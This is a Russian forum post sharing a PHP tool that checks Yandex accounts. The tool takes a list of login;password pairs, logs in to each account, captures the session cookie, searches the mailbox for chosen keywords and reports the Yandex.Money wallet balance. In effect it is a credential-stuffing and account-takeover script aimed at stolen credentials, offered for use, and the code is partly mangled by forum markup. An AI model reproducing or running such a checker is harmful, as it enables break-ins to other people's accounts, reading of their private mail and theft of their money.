Написал нечто подобное для Yandex + чекер бабоса:
http_chunked_decode.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
ClassYandexFinder.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fsockopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"passport.yandex.ru"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"]);
if(![/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"Couldn't open socket!"[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
}
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"];[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"login=[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]&passwd=[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"POST /passport?mode=auth HTTP/1.1\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"User-Agent: Opera\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-type: application/x-www-form-urlencoded\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Host: passport.yandex.ru\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Connection: Close\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Length: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\r\n\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]Bad server response! "[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
}
if ([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#0000BB"]302[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"Incorrect user/password! "[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"|Set-Cookie: (Session_id=[^;]+)|"[/COLOR][COLOR="#007700"];
if(![/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"])) {
echo[/COLOR][COLOR="#DD0000"]"Incorrect cookie! "[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];
echo[/COLOR][COLOR="#DD0000"]"Success! "[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]);
}
public function[/COLOR][COLOR="#0000BB"]SearchLetters[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]){
if(![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]){
echo[/COLOR][COLOR="#DD0000"]"Please login "[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fsockopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"mail.yandex.ru"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"]);
if(![/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"Couldn't open socket!"[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"GET /neo/search?addr=from&request=[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]HTTP/1.1\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"User-Agent: Opera\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Cookie:[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Connection: Close\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Host: mail.yandex.ru\r\n\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\r\n\r\n"[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]http_chunked_decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]iconv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"utf-8"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"windows-1251//IGNORE"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$patternNF[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"|Нет писем, соответствующих запросу|"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$patternF[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"|Вы также можете воспользоваться|"[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patternNF[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"])){
echo[/COLOR][COLOR="#DD0000"]"По запросу \"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\" писем не найдено "[/COLOR][COLOR="#007700"];
}
else if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patternF[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"])) {
echo[/COLOR][COLOR="#DD0000"]"По запросу \"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\" чет нашлось: "[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'#]+>([^.+?b-grid__quote" title=[\'"](.+?)[\'"]>.+?b-grid__date" title=[\'"](.+?)[\'"]>#'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]preg_match_all[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
}
echo[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
} else {
echo[/COLOR][COLOR="#DD0000"]"Неведомая хуита "[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]);
}
public function[/COLOR][COLOR="#0000BB"]CheckMoney[/COLOR][COLOR="#007700"](){
if(![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]){
echo[/COLOR][COLOR="#DD0000"]"Please login "[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fsockopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"money.yandex.ru"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"]);
if(![/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"Couldn't open socket!"[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"GET / HTTP/1.1\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"User-Agent: Opera\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Host: money.yandex.ru\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Connection: Close\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Accept:text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Cookie:[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\r\n\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]$patternNYD[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"|удобный и безопасный способ платить за телефон|"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$patternNM[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'||'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$patternM[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'|icons-sprite spr-wallet.+\n.+?([^Нет кошеля "[/COLOR][COLOR="#007700"];
}
else if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patternNM[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"])){
echo[/COLOR][COLOR="#DD0000"]"Кошель есть, но девственник "[/COLOR][COLOR="#007700"];
}
else if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patternM[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"])){
echo[/COLOR][COLOR="#DD0000"]"Есть бабло:[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"];
}
else {
echo[/COLOR][COLOR="#DD0000"]"Неведомая хуита "[/COLOR][COLOR="#007700"];
}
}
}
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]
YandexFinder.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);
if(![/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])
die([/COLOR][COLOR="#DD0000"]"File opennig error! "[/COLOR][COLOR="#007700"]);
while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]trim[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"Password contains ; "[/COLOR][COLOR="#007700"];
continue;
}
if([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$yandexer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]login[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]);
foreach ([/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$find[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#FF8000"]// комментим эти две строки,
[/COLOR][COLOR="#0000BB"]$yandexer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]SearchLetters[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$find[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// если хотим только ЯД чекать
[/COLOR][COLOR="#0000BB"]$yandexer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]CheckMoney[/COLOR][COLOR="#007700"]();[/COLOR][COLOR="#FF8000"]//смотрим баланс
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
}
}
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]
Правда не работает пока, если у юзера такая штука:
http://img841.imageshack.us/img841/7342/bugfa.th.jpg
|